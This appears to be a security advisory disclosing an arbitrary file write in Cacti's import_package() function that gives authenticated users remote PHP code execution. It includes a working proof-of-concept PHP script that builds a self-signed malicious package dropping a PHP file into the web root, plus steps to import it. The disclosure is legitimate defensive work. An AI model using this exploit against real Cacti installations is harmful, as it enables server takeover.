Summary

An arbitrary file write vulnerability, exploitable through the "Package Import" feature, allows authenticated users having the "Import Templates" permission to execute arbitrary PHP code on the web server (RCE).

Details

The vulnerability is located within the import_package() function defined into the /lib/import.php script:

The function blindly trusts the filename and file content provided within the XML data, and writes such files into the Cacti base path (or even outside, since path traversal sequences are not filtered). This can be exploited to write or overwrite arbitrary files on the web server, leading to execution of arbitrary PHP code or other security impacts.

PoC

• Use the following PHP script to generate a malicious package to import into Cacti:

<?php

$xmldata = "<xml>
   <files>
       <file>
           <name>resource/test.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$filedata = "<?php phpinfo(); ?>";
$keypair = openssl_pkey_new(); 
$public_key = openssl_pkey_get_details($keypair)["key"]; 
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");

?>

• Login into Cacti with an user having the "Import Templates" permission
• Go to Import/Export -> Import Packages
• Upload and import the test.xml.gz file previously generated
• Notice how the PHP file will be written into the resource directory, accessible at http://[cacti]/resource/test.php:

Impact

Execution of arbitrary PHP code on the web server. Please note other security impacts might be possible.